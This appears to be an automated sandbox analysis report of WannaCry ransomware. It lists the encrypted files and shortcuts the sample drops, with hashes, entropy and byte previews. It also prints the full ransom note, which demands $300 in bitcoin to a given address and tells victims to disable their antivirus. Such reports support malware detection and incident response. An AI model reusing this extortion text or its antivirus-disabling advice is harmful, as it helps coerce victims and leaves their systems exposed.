                                      Preview:WANACRY!.....gV..i..S!n..N...... ).C".g.JX!.E..2....1...c.....%..j.T;..4.\.=}.D.C.e...r.D'..;...........|V^.VY.....0...O...v$8.i..........*Z..X......m]..z.......F.&`D.|f...{t.H0.flg.B .....h...2...Ah....6..66.1.e.....$~.Lq.2.w.s..\.7..+..i3.R.QX.k.:.....11.W............S.....s...../....S.V....F?#=.......@..M.m..G".e... .M.XU...(..I...U.V$r/...g....V%.".Z..+..dR..O.T.....r....l..'.R.2.ed.N_..S.Bu..CV.s.k..M...p.,tY.j.....X..]@.I+2.-...z...+O^+...#n..M......+...t.@..>..........}w....+.].X..-.9.E..U....EN"i.W....U..9.U.C^Y...3..pwTE.....g..n.A.c....|-..+7..(0...~..,.5.t...(C..1e........p./Rw....u.9.G.ST.1..c.u..f". }b..%*........_D.^7.g...n..8.....b."..?.p{..y..../8.T.......I..4...qC|...YX....>...C.4.2e.kUf.......d....*W.q......UA.....@..:R.m.@.n.6..|1..N...iI.&fM..I.].p%.......Q...o*)..N..:...J....~*..6..o\.....h.._..F....N.Q....7........f.bT:.d..U,_.../......~...d.1......=.....w........m.B...l..y<.[U..@..6..P...B1x..$..gu..lgj.......:......!r

                                      C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196701332050.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.998447598777159
                                      Encrypted:true
                                      SSDEEP:3072:1ePHEhd7yan6mz0QOwB9jy00CphpP1446Axxp6O:EPED7y4FX0CpLP1tZpl
                                      MD5:1CE42DB575BF5AF6797722C5584FB251
                                      SHA1:ED9333D393C7F51F8B7BE7E7187CCAD544C6D024
                                      SHA-256:8874CAF5736E52FCF37F516E6A729AE297DA1BED00CFDD081286937341F84101
                                      SHA-512:030CA7B7A9025342564EC798FAB23693E08200311E03C06DCBDAC17F9E25F062DC5F9D47E28967C8FA840CE138EEADA01BD9F62290B39DEC455EA9018D16B50F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....m....... .D..>.Q).G..;<x..le`..\.#X....|..q..^l..b....;.Uo..K......:.#O..rQ.......z={q\6ywt)B.@..r..Q=or.|.0...;..w..[.b[83DW.g..}.<.c..8..|&.C...u....OE..s~.V,y.w2....O..L..5.V..DQn1..O.lbK...c.Oc.B..[>...$....Q.....l..h..$..!.M....r.88.W.C.a....;.......r(.]....jV('W$.:.h...v..+i....uqd^*t..`k....R..h.. gfr...r_.>..EN.....+...P.G..nY2..W.-.....ky..m.....av.......s.....ub..#.........$...i...}=.......>..X..M..+B.."B..;.E3$8(....F.@mx.{j.X*]W(3........W.3.$C3.s"..!T.4v..&h.vC.r9Ke.,L-e>d....'.u...w.@.H..=mh..MP#.j.%.k..r.[.3R...5..2........}...2.%._.._...d._...7,6\.......|....u.....]......|.t...I.t.n.{.A..y.8.3Z..Sp".../(.\......&.........X*.K9t....9.m...|...->H......?..;..Z.....\Z.3.WU..M..:.cf......I..m.....#.D.%.......V.i.n....i..20..]ow..3.Z.e.....T..?. (... %......u.~i.uac.Yd.9..o.......q.x....6}.w.[Zk.'....'....o..@.#.~..e...jW.6..`....vC..e...za@d]zw..>.j._....0dj...s.o...C(<...@.^.h...N...d[e..Jl...H.w)..C...N.P.3S..8

                                      C:\ProgramData\Intel\GCC\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Intel\GCC\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Intel\GCC\IGCCSvc.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):20760
                                      Entropy (8bit):7.989800153486952
                                      Encrypted:false
                                      SSDEEP:384:tF+paL3aPccghs2MnKjK12k1Ia2d0NWMrsP9zlotANxLSxtkMiOzrzPfZ:mDmMnKe129ZaNW7FzKJkcLPB
                                      MD5:B2C40307E45B282456812800CD4D4477
                                      SHA1:75F65864FDFC645E8A65A84CE600AF9523D58EAD
                                      SHA-256:17CB794FB6B79AEDBE58D6FD21B2A0B778A973B83F6862BC5DC4D93BCFFCF4B3
                                      SHA-512:010FFB4D4F2A54806238C4AEE95E1ABDF5BECED3C1A6F0A03642B24D936937BBE5F9B04F7D3557AE5B1D15CB8B951D6991AF352BBE8555CF21F9E51693721717
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........yI..:.C..{V..t.._b..y.....q...B.gZ*....0.:.y!.o\....vo.1..0...Hy...s.vB...0.@Z.=1.p.D..7.f.Zv..A.......3..C._...a.....B./.$...'#fr.`Z..._.....I.b[..Y?.(..?....=..eJ......... ...z[.#....;...~..F.^......A...#....e.{D.[.?.\.5b.L.....,..v..0.....P......D...v..V=A3z..@_.>?.g Z.......j..tk"...C..r.&,I.!%.=...mne....i)8...[.#.......m..q7.....wa.....]I<....OU........C.;.o.....w..x.K..#s.8.K.=.JO}..u..;.V.8V.*y.....ZU.]{..7y.)s....X....H.+..6..[....V...n.;...]_.c.....M..s.P...pm.C..i.....03..&8G..[......+.rs&c.....&.#...v...qW..0....B.0..|!.9n..|.A...P.#."H...%e$r...03=...H...1On....U..TVQ.YS.j)i.sR.<_{?Z5[.0n....?..l...).M...l,7.......EQ.n.V..O............|.}[...P.b!.....M>....._..y...kfN(e.....1.u...P......W@.z.<.2.q...G.q&.!....`....e..../Nr.)...- .i1.S7F...........:..L......7...bbi..9...../1.....B......."y)..m..Zs...n.....7k.'j$%."8..m..YFI#..2........^.....@.K.l...<P...c....CSln..?...F...].e....$...1..~...#...(Z...E...W.A.1V.#......Z.{...

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-03.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1368
                                      Entropy (8bit):7.853170063721902
                                      Encrypted:false
                                      SSDEEP:24:bkWIEW735iiCgNA3zUYKRluGfaGDO7BxyuU+WGGDJPEDFB9daYGAT3:bkWy4iIzpKaGilguWPJmdaPC
                                      MD5:0D741A3B06D754CFB7916BB650A6C997
                                      SHA1:AB2A5837A69FCE44BE045856FF5508D3EBBFAE48
                                      SHA-256:D56F5819D437AA0458F24D5B76D8557CEE0E9671FD65D3EFB48D019F71E6D2F9
                                      SHA-512:27665B40DA9A2667DCAA9A4B6EDB0809BF169681E47F95EEBAC08C46E3E0270BDCAF86F7E4B36ED1C04BC5F4314425673785BC24D5BDE6587E800BCAD5ABB9F1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........"m...C....<[..l..m...k.5TV&Tqh\...4.....aF....>.....uRh....T.... 9O..H.H.3%./.JMk.'Kpv.RU.>...ui..j...N...O.%,....t.(.....>..$z.uj#<%5....%.z:9Sd....P..z.9.o}{.8z.Rv...*.9..=.w....J.j].".../.....Y.Fe.?}.....q.@.G!..j...xD.?.wo\+........4..n.....=..............k.7.(.u.0REp.]..8..(.....{...{..L...e.5y...vQb........$.v.]A0...._5.0.. .'8..3........!....z...lJ...=\U..#..Y..h.XSe...4....O3.......RC...Y.I. G.".>.Q.[..f~.b0b.C....Kg-.e.....`e...C3r.......,.:...~...bXC.....QD.....xS|..s...Mw..1x....o.0....s.$.A.(J.....m.\>h<.W.sD}gP.o..~.....*!.->..J.)Z.p43.9.a.Pa..Wl....{.....D...>..x,....S.i....&..4o.K...8`!.....7._.A-.O..K]G=.....d*."....u..@.U.\I...w...0....P.C...>.....<.Z.E.....#.N*....../..y......,SK.b...~.....!....)..u~;Y..g..:k..ft.&..+s..".-2.ER..8.z..a..,P._.....+M.7.G.[.4})<P^m@..z.}G>}/.W5.........A.BIg....._&.r..._..^..0..w.@.z...B..0Rpt.....65l;.s.L...E.J...yhB..e...:..\...<./...v.qa..Z.....e0T.].].C..@.,B..%.b\.....S.:.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-14.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5096
                                      Entropy (8bit):7.956373369100775
                                      Encrypted:false
                                      SSDEEP:96:oofYt3Ge2fmRbDppQyF+a2aEN81gsw0dL6HQaMvyuk3KM6mwjCrzg:fYQmTTPnKiL5vpk3P3/rzg
                                      MD5:0329F2B658EB9CB31ED35CF9E6B86572
                                      SHA1:0CEA926C6BF8C3484520FBD74C06233C3BC670C2
                                      SHA-256:1CEC00BFF4B0B8A5F5C9690DE6A2DCE07B8FCFA973E837EB4E3366155747951D
                                      SHA-512:6C31B00B6C02AEA991B0B6345DD2EDD4B9A07E9110C89D480DE604EB94251C044364862A0CAD53E61BDCA103798CDEBAA85E03B09EB299F1FE90AD9D8C26D6F9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......A.p..l[&.....K.r\M...........31..z.@4.v`.....J........h..B......{..`.>.Wl..'..:.Zs[..o.a......C.D...g8s.Z.H@}.......d.k....Wf..wuT.Y....Y.aF&d.iwiM..%.bw.hP.RO........a..d.....wq)...... ...A=.{.~.'...L..,.........@1......~.&.Q..L.,5...?.,/C................H.S.b]<).S.Y5..k.V..?........k.VmN...j.....2..s..*.G...u..j.g.L.;..S*4H.......l..3pQ+cX.c...Ei..B...&qz.W$Z.q...lBI.S.^I.....?....X.s$....2.S..R'Q.Q....2..v..7...}....q........tT.a1#..V.w>.B.V..v.9+.q.h.k.[..yX....'.....]t.0f..<./QZ<.\..f.....:........Q.u..h..u._*..E.U}..6.;....c.H..v:.q...%.`M5U..]......R.d...32.G~..]v,..l..9E.P..P...B.2..._.!.l.8-.).C.S:.;...R.!.m<Z...`.....pv.?W... .......9.]...s...B.k.I...cn..<e...g.#..._`Fy.>L..7Ny..!/...7B.....o.@j.H......;C.E.K(g..e...{".%..x...NU...YM...&..e......."y......=N..^....l....j`....?:. U...~.4....W.q.w....,.".b;.1.F..s...]..Gd^z5].>p0A..~.?.?.%R....aE..Y...@p+A.T...(.E.6i........~}.T.PNtD.z....Z.CO8J...`...n......;4....)...{+..

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-22.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5096
                                      Entropy (8bit):7.965948818744194
                                      Encrypted:false
                                      SSDEEP:96:ooQg2R2/qeQqgYX/4NNsvOg0sMSIeXL9mbrUWJfcRm+kI5TMjqMuozUfQCJN:rQU/qJ2APsX0IYFJfs5qpzUQM
                                      MD5:2B08BD4E378A634D2E38BD583E389712
                                      SHA1:17994A965F09051FF527DDB05107084EA28D691D
                                      SHA-256:E999F8CAD893093BF643DF3DF950308F417594D18B195648FFEF0F553F4328F2
                                      SHA-512:71A31E73D137CCA7527DA21DAC08BEA8FD6DDA3A9747FE30269ECBE5233A7AE5CA30668D99AF6477AF887292C7413CB7F824A837D452E28AAB1819E6C4CAFB98
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........b.G...j._..n.}...#....AI#......b...(.vKL\6....-.....(G.^.....Nn..........J.>....:...B.e..t.....b.........i.......}..J..0....A.$..p..jX.=.H.W..jR...z...^......23P..z.......G....;W...~.....!..:.V+.0....ft......q....=q......L]y... ...H.....................mC>.wd......]..t..U)...h....\.O...p].q.%~..R....\..O.....B....z....6w.W[9..R.9..d5.*....k.LW..:S...J....oS.......X...'..c..j....w.......g../5.+h.&...c.H..p.Am...`....A....:...!z.{r..J....-...,.I.r'.7z.T...tG.9.&......b$.H......d|+].....J.wW.#...xl*.\.......L..of..|.9.W......4.T4@....E.B.!..-.._..]......L\.O.K..:.z.3....yM.4.H..~.v.,/..SI...b...h@.;......~~|..(....W.......jRj...".N..P..,..\.-A...*...{.../[....).H6.$.ov.d2.M...*.....3...\.__.)X..{...P..L6[...r).....mcp...l....j...a{..Np5.<l..8'+.UJ..(f.+.&cZ......s......c.......i..lb...j.U...!T0..4Ioe...$A4....?..=..h...$. .g.......(Vx=,1;.}......,..i..m. ..j#.Oq..j....vX$.8..G.O1.xZZ.2.3.....`9....cR.)R....lO...D.6..3x.N.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-30.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1032
                                      Entropy (8bit):7.8049315691773415
                                      Encrypted:false
                                      SSDEEP:24:bkDJoDQX521SWeNFbaWv5iKFeGbQZNJeIKEdCeyENRXlIJE0OZ:bkDJUQX52NepxiKFPbQcrnYNRuJLo
                                      MD5:D373417A731A5C12F73DE5F2A0C256BA
                                      SHA1:649B281F9FDBBD1BBDD5974D86850C5168DF8385
                                      SHA-256:9B5C123B19B7268E9AB5959591F757C7EE32B08EDEE57846BBC477042ABD915B
                                      SHA-512:2D4D40E7B1DB58FF87409C6CF3D704DB51CE584994816DE0CD4B18D1307E741F134C20AFCF85F3930B7F48BF4E3D1212C758D8397768562FF2C69CBD2BCABE27
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......k.p.J...%.y$!1.....b..t.....D,.<.h6.g/M.=Ft;...{;.....cY.9XVK.+z,..r.#../..E.o....n..a.....`9.U...-..WHJ............^..G`{$.[.v......O4AP.....E...{.s.C.+.f..~.....{............v..$T......@.j.....O...........c.~.`.e.k...B...FARA0...!.\...i............C.]<.._....H.[=k.K..\..l..K......."+....`...^#m?z..=..S(.sD.Y......:&.H.....5qoVU...Y1.u...KI^..a..r.%...b.)Ov..^.L.0.c....}&...fe.U.+r....4...l(7.........|.r..u.....-O.1z.....G-.....=.|ZW...W.yn..]>$..,.H.z...Dr...ca7k.|I.q$.A...7..i.tY......x/..@..o*.....V...?....;...7.ss.t'...1...l.).uL....{..I..X.F..O............u..b..Ki&......&^.xr...7...b.5p}._/'..T#..v....a....%.B.K.06.i&.]c<p.2...u).).?r...U.K.....2.U.j.Lu.h...n.).@..#..%.8.......s..........si....|Y.,.^....zX.N0..-&.F.....`t...X.#7l.Zz.u.E.,t.....\Q`.ou..f.Sc.|.h. pK..70..v....[l;,jC..9g.....;t..9....5U..&@Wc...Ndz..p.$..=.....T4.*$.j......nDI,.'.P...]......d...q.........G.g..^S..v../......XZ....;{.......m.......Z...1...'.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2022-01-20.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1112
                                      Entropy (8bit):7.783966678201964
                                      Encrypted:false
                                      SSDEEP:24:bk41QlQfvx19jIGX06VRC8Z7TMQMW2MjxuCejGTT1z1PbPE:bk4wQX/C4r481MUgCZTRz1PrE
                                      MD5:AF7EEDC2E974B0830319291B6947FC43
                                      SHA1:010749A23F6B027A2001E0D5B187CF8F03B45A5D
                                      SHA-256:1E1A901DF4FE81B0DFA686AFA86B9C16A7F1D9D09565E5CDB678348BABD2320C
                                      SHA-512:391604AFA50A76A3131D71B63BFD98FCC0099FFCCFC1AEF1D139501B993BA3AFE23113EAC7387D65FDCA64A4F18CF7D9D58EDC0B11D215C6FBFC91F5E4E7770A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....H.$}.X=..dUW..{..qf..X.E...N....\G^m.........o.g.TnXP....w.O&%3...q.....0....}.k."....p.';..HJ;..Fj.:...b9.#.{....Ga...e.8.i.r.}....PM........z.X...E..Q.9....#.pF.....~.uV...-O..I.L.......`...........@..L.*.|.~.......,.}...[QW.QS..v.#......d....>.......N1jsF.1)..*./......*H..W......7.....5...<.|:......2[.i...h..,.b...e....-.@y...t.0.S..k...0..%.f...0i.#..;..#`.&..k.!...f0q}'.a.{KAQ.....S=..no.......s.Oi.p5.......K..m...,.U..d.........R....^.)....Dc.b.9..:<....o......U.....e.t....0W.p.......j...Xyt........../.F-N.........d72y.-^..nL.. t......-{.........].bs6<.78>.$.}.fK........A.:.W..[....&.|...#..3..l>....7j..R.......7V.`.;..l....;..:.|.5..N....Uo.=.<......$...t...i.N.2........+..n.V..RM.>....FA...|~..kv....V,*.d...,{8..p..9.....3.,E.....J.o.D.*.h2`..o.......\..d:5.).U.cU..t....ozLh|..H,.\V.=b..F...s9t....8...j.d.z>b.s.>S..........C..|5C.6]...l.L,.|(.....Q.....l..C.|.......:.Di.F.....y&...{.?qN0m3.qaJEk.&.X..,M..I..>..6{.K.V.k._.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2022-02-23.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1768
                                      Entropy (8bit):7.870660115057411
                                      Encrypted:false
                                      SSDEEP:48:bk2DFAL1imtUlizhWLse2bcTugfmp4lx+kLkyhXfkTOF4GE:oWKL1VOlilysebumvkoX+FGE
                                      MD5:3EC0CF0323D537980CA0DB962CA9FA48
                                      SHA1:E8BCEB53223E806FD0AF297912700A384C3D084C
                                      SHA-256:16F66A3C16DBDC7D66C7DBF0EBC098930490765775352162F4099985A970A0E1
                                      SHA-512:946779ED0EC410D661A4EE1865032CD46ADFF154AEF4624E92C71C62830FF1A6D58B8BCBB608812819D12BCEB651AE646388F999FD99DC917073B4B09550CB26
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........O..mau"T....e.....`(.zeF....2......hf::A....R:....q.'<.b,pF...........?.`.o......m8...PH.9....y....!.FY.$.....u.c.b..&;.%@T.j^.b....G...K.,..a...z..{.q..Ke...].'.( A...Z&g.4....../.....C`#WGC..g.<.[_Z.q}...4.@...h..$.&...Q....C.'!...Z.4.3.K..{.............K.....D!.3.....9..zjbgv...a>w.....-.]....~.......u.D7.u...H.`..Te......I/%$.h....4....m).......U~.....0....]...{&..\R.?.>.....rG-q...m.uF.F2........#{..Z&...-..b...................u"....Hd.2...E.!...Q.y.i.....,K.+vA..&O/..2..w..@.K...Ca.v..R.j5..o..2...2E._.}..l......X..W....D....H.t.Re.l.}....;.|...*.b.*.eayw,...h.w...f..D..`.....D..3M&....ZU.j.0...D..g.Q.`<jW..j...(m.;+.....{..._.....(.eZ..|.l..b~/,...h....@..mRu.N=.R.....4.g..g.N=k..dY.TkV...=.(U.)6H.!x.x.f.l..-.:w.I._.O.O7..2.......Z...)..OC2..7..VK.."7...@..k..sg.&..D).m.4.%)......Ws.r....Q!.!a..%.xW!....{<8...Sgh....N?....u.~.y...L....Y.<.'k7....N...$...R..)^......D...;.E7q'O.2. ..A...#a..i.9KU.95,.=:Y.B.3Z.>x.3

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2023-05-25.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1864
                                      Entropy (8bit):7.903930349653215
                                      Encrypted:false
                                      SSDEEP:48:bk0x4/p4RHDkKchIV4OXfKNc+gaOi0T3Rapn:o0x4/yFchIV/Ne
                                      MD5:40D6AB76B0AB39F8077D0EC452500554
                                      SHA1:38E7BA4B5608B7E590475873CF0A9C7F4FA7C89D
                                      SHA-256:4378159F987A5B1738CB794EF0987F8B3D24A5DCC27F3BC1A17454A25B4BD107
                                      SHA-512:A5C697EC7C0F5D48DC3352BB3219629DCC72010FF6324DA38AB2EBD0035B38FDB345A16637EF35062BB50569B8A00C1EC19BD333A218FC7C3D379DB8D988335C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....a.6......G. ._..D8.}.#U.C9...D...rq@....I..m_8.a..?(..50...N.5..x2{=aeyX.j.....vfu...&...&..5(!...DB2.E..q....y..V......}...Zl..n....Wf.....K.=.pmKrK..N.<..u+..s=1...k..#.k....K-o.....V..yqM......g....:.BX\./.....pR`,....O.<IC....;0H.2ns.\.C.........#.......R..9.Cs..&.w..0...x.1...a.(....{....d.j.j].b.y,u.N.9......D..+m..{.];t.c./.;.t.T........nK.r....k5...+=7..ib6;.I7. z`..+_..h.nGL..CL..g....G9........t..!..8...3........p..E.Q.......)..S..H..`.7.....@..|....$FV..d..+.......aD.2.....D9..c...$~"r..%....cs1wGeV..............}.N.......g.....yM.".M..h~._.5].p6..5T..92.....(.sK?h.-.....u....Wi..RO....k....k'.0!.h.A'&1.....?..)[..F..H\..\X...'...}..<..^\P.Ef).._.^CB*g...!..E(.-o.&..z.D....+.....3'... .,#....U._.}...].A:FB..t6Y...Q.>b...V....\c.X.u...R:..a.kU....(...2...4...V.....h\.7.7....$Y.qb..g...t...Y...:K.h.u.R%.......'_.........f.u[:sGQWx.y3H..............vZ.@.A..&.O....;.k..O*Q..".M.W.r...u7~ d1a..e^..P.0.?...4w...X..._..

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2023-05-26.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5912
                                      Entropy (8bit):7.967316234562588
                                      Encrypted:false
                                      SSDEEP:96:oUySCiGY59actlKChPH7yIF4Bo3PlgEb92Ns5FBjR7HC606X0lXxZcqSZ2ugCksx:z9CiD5Jx44Pxb92kFBFG606IXo/kjCk4
                                      MD5:8157AF0A9ED525DDFCD9D1B746DF73E0
                                      SHA1:3C4A115776FA105ACA1FBCBDBDA4323B0B2C0BDE
                                      SHA-256:2EBE14288D967E79F3593F3417A5EDCDA7856CD75CC6E9EAAFF7EC0A5AA7BB8D
                                      SHA-512:46B26CFA08285E2D89E38D7F83E26AF44013551917A32A1FE77BD9C70A1DF65EAF02866CCD8EF40E2FA229441F8766D33BE1F1C2B8511E6CEA254393AD4BB83C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....~gC.g.6Z..X......@....%.O8...k.) T.....a..%.#[.9.......9[5%....I..ka%m8Y....F-.....A|].....l....m..ER.....Z..m..hv._.Z.o\3...A...!&....g...[..$.D....M.<....^...L.+......3....9.[.h....}n....S.8.a.m.~.9....>........F..0..u.m....j.{..~....7..N...............m..Y..4Q...-G..r..T%[...1.%.v..9E.,......:.N..........D...wyf. .....NjAj(2..J....3......S.z .....hs...8<;.Y...H.c.....yI.....K.3....&*PH........F!.3.r.&.).J....Do..V.+..F`.w..............c. s.R)...*?j$..$Wg~..Z=..l...........G1."~W..(....2k...$.FyA.W..:....+:.2._.D.>N..R...2.)!k.K.%^..qDHw..Pv.C_c....`Q}.....8..y........i...i..(&..e%+....1.a.9.P.+.D.\IB)-.P_ZQy'=.<.H...6\.....2b%.I.M...)...L..S...N....Hxp...-k..E.~.....K.s.J.N...2....vdP...cU...}.G...6n.....<....#5.q......Fy(..\.J..].+[T..y....C..+.K;u..CC.......'..S....mS..&E......1.O...=.)...i.V..Y`..............i...r...)ZO.H6.9..k..F..A.tF.04w......b.D .n.u...z.w...:...U*2.".......`;.F&...&..V.6...r.#.s..]...5.{B?.0..

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2023-05-30.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1032
                                      Entropy (8bit):7.83054789349261
                                      Encrypted:false
                                      SSDEEP:24:bk/+pNMs/8jUnxnQfn5rDmk/66iiLF1QPZjHNsX9H1s/n:bk/aj/5qr6z6i81QPwX9O/n
                                      MD5:8C25C4A793C95899090B8C048AAA1BA6
                                      SHA1:A69A4D7882EED692A479312E9DC6703B22032114
                                      SHA-256:BD42CBD780C96BF2A1B916CC6986790E0E5C718F8C56B04B9F7E2D2E6FAA2CA6
                                      SHA-512:84641A7BDB2CD2387783527796E752652B15200210783CAF6C47B68CD680BF968A6E01FC7449F40B608ED5C1D20915CD777D723527F5CE93D572BFB36B99C687
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....F%.r.\t^.zaeCZ........,...7....m....\.h..!J.M.lq...K....C.Y....i.....T=.'....k..Ac..G.[.+.....<.u..T:.|.!.d.......q./5...$.q.N.]K8......4T7nzC.qD..d-._.}&M~..B3.;S..u.')...q.:w...q|~./n...@.E....ty|.g.g...q..y.....8T.e.u...@T.m..y..9.9..RQPYD..Q..*..............1.IC...Dylv............MX|,....X.%........7o^S...bB..=M.E....T..uaW..N..0JT..m.../`..q..+zIW..-M:'..u.m.@.h.tQ.X7..{...K.r.oUn.p2..#.K'..v*...[*5...6.....;.\..:..^....c.XF.{..0.....x..?.}).s.,.>.(..C...~...a..l..\RXs.P.....C9p9I.X$;=...... ...l...((U.f...T..x.;...6.v.;1.F..M.........<...&....[.R-2i..}/.g.!.t......ig.,...?.z...q..++..z.g...........].C....=.Y.Zj...u(....... ...Z.qE....e.h...P#..E>......D.yh..b....Q~..nKMC..(.3....t..+.Me.2+..Hs....c'...ka....YN..1.j.5....C%.o..T&).....<@...w...d..w.Hj....k.....j..(.f..L..@.....j../......=.....qP.C.~...S.v..rC.8...?..5.M.x;..&jf..?..Ll$.>...?."..tw.<6 ..J..B..L..{-....K...-..........ig..W..S.....J....\...d.5.......vZ...._.L..d.

                                      C:\ProgramData\Intel\GCC\gcc_svc_log_2023-08-05.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4264
                                      Entropy (8bit):7.960281495235138
                                      Encrypted:false
                                      SSDEEP:96:oupnLNdSG1z0s6kwI982kjt7JirWcCKrIvsxxvvnpCdj:ZRLb0s6ktNkjt7uIEPwdj
                                      MD5:0ED6AF66CCA69127036EC3E397329E76
                                      SHA1:3AAAB292748CA92DD8ACEA3AEFC735473F4AC2BA
                                      SHA-256:4ED010F3AF20C134956864B577FFA9AE695FF92DB0E6DD3EDC0FA09DE1A9E391
                                      SHA-512:CE564A9F754D6AE89375A143A2A622A1ACA03CA7630BD4DE896C9AEDF89526D0EF54A0559432C8F7C8BCD435B9846DC07B1F8A897A6FE2912E13BB37942918CF
                                      Malicious:false
                                      Reputation:unknown
